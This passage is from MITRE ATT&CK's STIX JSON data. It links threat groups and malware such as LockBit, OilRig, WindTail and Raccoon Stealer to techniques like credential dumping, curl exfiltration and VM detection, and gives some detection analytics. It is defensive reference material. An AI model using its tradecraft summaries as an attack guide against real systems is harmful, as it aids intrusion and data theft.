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            "description": "Network intrusion detection and prevention systems that use network signatures may be able to prevent traffic to remote access services.",
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                    "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020.",
                    "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/"
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                {
                    "source_name": "ESET RTM Feb 2017",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
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                    "description": "Lunghi, D. (2021, August 17). Confucius Uses Pegasus Spyware-related Lures to Target Pakistani Military. Retrieved December 26, 2021.",
                    "url": "https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html"
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                    "description": "Yamout, M. (2021, November 29). WIRTE\u2019s campaign in the Middle East \u2018living off the land\u2019 since at least 2019. Retrieved February 1, 2022.",
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            "description": "[LockBit 3.0](https://attack.mitre.org/software/S1202) has the ability to discover external storage devices.(Citation: Joint Cybersecurity Advisory LockBit 3.0 MAR 2023)",
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                    "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"
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            "description": "Some [Sakula](https://attack.mitre.org/software/S0074) samples install themselves as services for persistence by calling WinExec with the <code>net start</code> argument.(Citation: Dell Sakula)",
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            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used credential dumping tools such as [LaZagne](https://attack.mitre.org/software/S0349) to steal credentials to accounts logged into the compromised system and to Outlook Web Access.(Citation: Unit42 OilRig Playbook 2023)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT35 2018)(Citation: FireEye APT34 July 2019)",
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                    "source_name": "MacKeeper Bundlore Apr 2019",
                    "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020.",
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            "description": "[Bundlore](https://attack.mitre.org/software/S0482) can execute JavaScript by injecting it into the victim's browser.(Citation: MacKeeper Bundlore Apr 2019)",
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                    "source_name": "ORB Mandiant",
                    "description": "Raggi, Michael. (2024, May 22). IOC Extinction? China-Nexus Cyber Espionage Actors Use ORB Networks to Raise Cost on Defenders. Retrieved July 8, 2024.",
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                    "source_name": "Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023",
                    "description": "FBI et al. (2023, May 9). Hunting Russian Intelligence \u201cSnake\u201d Malware. Retrieved June 8, 2023.",
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                    "source_name": "Rapid7 Fake W2 July 2024",
                    "description": "Elkins, T. (2024, July 24). Malware Campaign Lures Users With Fake W2 Form. Retrieved September 13, 2024.",
                    "url": "https://www.rapid7.com/blog/post/2024/07/24/malware-campaign-lures-users-with-fake-w2-form/"
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                {
                    "source_name": "Palo Alto Brute Ratel July 2022",
                    "description": "Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.",
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                    "source_name": "Sygnia VelvetAnt 2024B",
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            "description": "[Velvet Ant](https://attack.mitre.org/groups/G1047) accessed vulnerable Cisco switch devices using accounts with administrator privileges.(Citation: Sygnia VelvetAnt 2024B)",
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            "source_ref": "intrusion-set--e1fc262c-dad2-4b82-abda-5f08dd134971",
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                    "description": "Pedro Tavares (Seguran\u00e7a Inform\u00e1tica). (2020, September 15). Threat analysis: The emergent URSA trojan impacts many countries using a sophisticated loader. Retrieved March 13, 2024.",
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                    "url": "https://geminiadvisory.io/fin7-ransomware-bastion-secure/"
                },
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                    "source_name": "Threatpost Lizar May 2021",
                    "description": "Seals, T. (2021, May 14). FIN7 Backdoor Masquerades as Ethical Hacking Tool. Retrieved February 2, 2022.",
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                    "url": "http://blogs.cisco.com/security/talos/threat-spotlight-group-72"
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                {
                    "source_name": "Novetta-Axiom",
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                    "source_name": "CrowdStrike Grim Spider May 2019",
                    "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.",
                    "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"
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                    "source_name": "FireEye KEGTAP SINGLEMALT October 2020",
                    "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"
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                    "source_name": "Mandiant FIN12 Oct 2021",
                    "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.",
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                    "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020.",
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            "created": "2022-03-30T14:26:51.844Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:50:27.408Z",
            "description": "Monitor newly executed processes that may attempt to find domain-level groups and permission settings.\n\nFor Linux, auditing frameworks that support alerting on process creation, including the audit daemon (auditd), can be used to alert on invocations of commands such as <code>ldapsearch</code>.\n\nFor MacOS, utilities that work in concert with Apple\u2019s Endpoint Security Framework such as Process Monitor can be used to track usage of commands such as <code>dscacheutil -q group</code>.\n\nNote: Event IDs are for Sysmon (Event ID 10 - process access) and Windows Security Log (Event ID 4688 - a new process has been created). \n\nAnalytic 1 - Local Permission Group Discovery - Net\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") (Image= \"net.exe\" OR Image= \"net1.exe\") AND CommandLine=\"*group*/domain*\")</code>",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
            "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--d809d062-9fe3-4058-b12b-56ba196a24db",
            "created": "2022-03-30T14:26:51.868Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Koczwara Beacon Hunting Sep 2021",
                    "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
                    "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
                },
                {
                    "source_name": "Mandiant SCANdalous Jul 2020",
                    "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:50:27.599Z",
            "description": "Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e",
            "target_ref": "attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--d80a85fa-5261-4274-b50e-bb82461562af",
            "created": "2022-03-29T17:24:30.591Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "GitHub SILENTTRINITY Modules July 2019",
                    "description": "Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022.",
                    "url": "https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:50:27.818Z",
            "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) can enumerate the active Window during keylogging through execution of `GetActiveWindowTitle`.(Citation: GitHub SILENTTRINITY Modules July 2019)",
            "relationship_type": "uses",
            "source_ref": "tool--1244e058-fa10-48cb-b484-0bcf671107ae",
            "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--d80bbf0c-2fb4-4272-a878-65662452d3ca",
            "created": "2019-04-16T19:00:49.591Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Unit42 LockerGoga 2019",
                    "description": "Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-28T16:12:31.763Z",
            "description": "[LockerGoga](https://attack.mitre.org/software/S0372) has been observed moving around the victim network via SMB, indicating the actors behind this ransomware are manually copying files form computer to computer instead of self-propagating.(Citation: Unit42 LockerGoga 2019)",
            "relationship_type": "uses",
            "source_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48",
            "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--d80c873c-922e-4c19-b84b-e5a3eb56f5b7",
            "created": "2022-03-30T14:26:51.848Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "modified": "2025-04-28T16:12:31.944Z",
            "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
            "target_ref": "attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--d80d5ba4-22ea-4ef4-94e6-f9fbaa3ca641",
            "created": "2021-02-09T18:36:22.174Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "CheckPoint Volatile Cedar March 2015",
                    "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-28T16:12:32.124Z",
            "description": "[Explosive](https://attack.mitre.org/software/S0569) has commonly set file and path attributes to hidden.(Citation: CheckPoint Volatile Cedar March 2015)",
            "relationship_type": "uses",
            "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44",
            "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--d80dc743-4799-4497-8708-b1324b38e3e1",
            "created": "2024-09-17T20:02:58.817Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Bitsight Latrodectus June 2024",
                    "description": "Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.",
                    "url": "https://www.bitsight.com/blog/latrodectus-are-you-coming-back"
                },
                {
                    "source_name": "Latrodectus APR 2024",
                    "description": "Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"
                },
                {
                    "source_name": "Elastic Latrodectus May 2024",
                    "description": "Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.",
                    "url": "https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"
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            "object_marking_refs": [
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            ],
            "modified": "2025-04-16T22:50:28.413Z",
            "description": "[Latrodectus](https://attack.mitre.org/software/S1160) can determine if it is running in a virtualized environment by checking the OS version, checking the number of running processes, ensuring a 64-bit application is running on a 64-bit host, and checking if the host has a valid MAC address.(Citation: Latrodectus APR 2024)(Citation: Elastic Latrodectus May 2024)(Citation: Bitsight Latrodectus June 2024)",
            "relationship_type": "uses",
            "source_ref": "malware--76fde8df-3495-47c9-82eb-125c4f7fb621",
            "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--d810e14a-e78b-4e65-842b-c1b7b727750a",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Securelist APT10 March 2021",
                    "description": "GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021.",
                    "url": "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-28T16:12:32.389Z",
            "description": "(Citation: Securelist APT10 March 2021)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "target_ref": "malware--292eb0c5-b8e8-4af6-9e8f-0fda6b4528d3",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--d811c17d-5ed4-4218-b1c9-280e332e30e2",
            "created": "2021-07-27T15:05:31.308Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Cybersecurity Advisory GRU Brute Force Campaign July 2021",
                    "description": "NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021.",
                    "url": "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-28T16:12:32.581Z",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) has used [Tor](https://attack.mitre.org/software/S0183) and a variety of commercial VPN services to route brute force authentication attempts.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--d811dad0-a813-4293-81fc-55e8ea6a54be",
            "created": "2020-06-04T20:14:50.400Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "objective-see windtail2 jan 2019",
                    "description": "Wardle, Patrick. (2019, January 15). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 2). Retrieved October 3, 2019.",
                    "url": "https://objective-see.com/blog/blog_0x3D.html"
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            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:12:32.765Z",
            "description": "[WindTail](https://attack.mitre.org/software/S0466) has the ability to automatically exfiltrate files using the macOS built-in utility /usr/bin/curl.(Citation: objective-see windtail2 jan 2019)",
            "relationship_type": "uses",
            "source_ref": "malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541",
            "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--d814a304-f957-4e7c-9890-30a6d5be39bd",
            "created": "2021-03-04T14:49:27.358Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Volexity Exchange Marauder March 2021",
                    "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.",
                    "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
                },
                {
                    "source_name": "Microsoft Silk Typhoon MAR 2025",
                    "description": "Microsoft Threat Intelligence . (2025, March 5). Silk Typhoon targeting IT supply chain. Retrieved March 20, 2025.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2025/03/05/silk-typhoon-targeting-it-supply-chain/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-16T22:50:29.210Z",
            "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has created domain accounts.(Citation: Volexity Exchange Marauder March 2021)(Citation: Microsoft Silk Typhoon MAR 2025)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87",
            "target_ref": "attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--d81d7589-14cb-4f29-b05c-02cb01f183e4",
            "created": "2024-05-25T16:34:23.778Z",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "Palo Alto Unit 42 OutSteel SaintBot February 2022 ",
                    "description": "Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.",
                    "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"
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            ],
            "modified": "2025-04-16T22:50:29.414Z",
            "description": "[Saint Bear](https://attack.mitre.org/groups/G1031) clones .NET assemblies from other .NET binaries as well as cloning code signing certificates from other software to obfuscate the initial loader payload.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--674582ec-51c4-42ce-b409-797239e37a2a",
            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "spec_version": "2.1",
            "id": "relationship--d81de27d-b64a-4a45-b3b5-7c2d5403632e",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Costa AvosLocker May 2022",
                    "description": "Costa, F. (2022, May 1). RaaS AvosLocker Incident Response Analysis. Retrieved January 11, 2023.",
                    "url": "https://www.linkedin.com/pulse/raas-avoslocker-incident-response-analysis-fl%C3%A1vio-costa?trk=articles_directory"
                },
                {
                    "source_name": "Trend Micro AvosLocker Apr 2022",
                    "description": "Trend Micro Research. (2022, April 4). Ransomware Spotlight AvosLocker. Retrieved January 11, 2023.",
                    "url": "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-avoslocker"
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            ],
            "modified": "2025-04-16T22:50:29.608Z",
            "description": "[AvosLocker](https://attack.mitre.org/software/S1053) can restart a compromised machine in safe mode.(Citation: Trend Micro AvosLocker Apr 2022)(Citation: Costa AvosLocker May 2022) ",
            "relationship_type": "uses",
            "source_ref": "malware--0945a1a5-a79a-47c8-9079-10c16cdfcb5d",
            "target_ref": "attack-pattern--28170e17-8384-415c-8486-2e6b294cb803",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--d8bad886-d65a-4652-811f-f8ff9f6bb6db",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Unit 42 DarkHydrus July 2018",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:12:39.373Z",
            "description": "[RogueRobin](https://attack.mitre.org/software/S0270) gathers BIOS versions and manufacturers, the number of CPU cores, the total physical memory, and the computer name.(Citation: Unit 42 DarkHydrus July 2018)",
            "relationship_type": "uses",
            "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--d8c19b7a-71a0-4941-9244-f9784e5e99fc",
            "created": "2024-08-01T23:23:50.608Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Sekoia Raccoon2 2022",
                    "description": "Pierre Le Bourhis, Quentin Bourgue, & Sekoia TDR. (2022, June 29). Raccoon Stealer v2 - Part 2: In-depth analysis. Retrieved August 1, 2024.",
                    "url": "https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:50:38.203Z",
            "description": "[Raccoon Stealer](https://attack.mitre.org/software/S1148) attempts to steal cookies and related information in browser history.(Citation: Sekoia Raccoon2 2022)",
            "relationship_type": "uses",
            "source_ref": "malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175",
            "target_ref": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--d8c447e8-6581-47ca-98d6-44b262023669",
            "created": "2023-09-27T20:13:22.805Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "MoustachedBouncer ESET August 2023",
                    "description": "Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.",
                    "url": "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:50:38.405Z",
            "description": "[NightClub](https://attack.mitre.org/software/S1090) has copied captured files and keystrokes to the `%TEMP%` directory of compromised hosts.(Citation: MoustachedBouncer ESET August 2023)",
            "relationship_type": "uses",
            "source_ref": "malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--d8c5b193-b49d-4c0e-a9da-072302ff47a0",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Scarlet Mimic Jan 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:12:39.763Z",
            "description": "[FakeM](https://attack.mitre.org/software/S0076) C2 traffic attempts to evade detection by resembling data generated by legitimate messenger applications, such as MSN and Yahoo! messengers. Additionally, some variants of [FakeM](https://attack.mitre.org/software/S0076) use modified SSL code for communications back to C2 servers, making SSL decryption ineffective.(Citation: Scarlet Mimic Jan 2016)",
            "relationship_type": "uses",
            "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921",
            "target_ref": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--d8c84ee1-db8d-4f32-addf-831310c93ab7",
            "created": "2024-02-12T20:31:55.087Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Ensilo Darkgate 2018",
                    "description": "Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.",
                    "url": "https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:50:38.810Z",
            "description": "[DarkGate](https://attack.mitre.org/software/S1111) will retrieved encrypted commands from its command and control server for follow-on actions such as cryptocurrency mining.(Citation: Ensilo Darkgate 2018)",
            "relationship_type": "uses",
            "source_ref": "malware--6f6f67c9-556d-4459-95c2-78d272190e52",
            "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
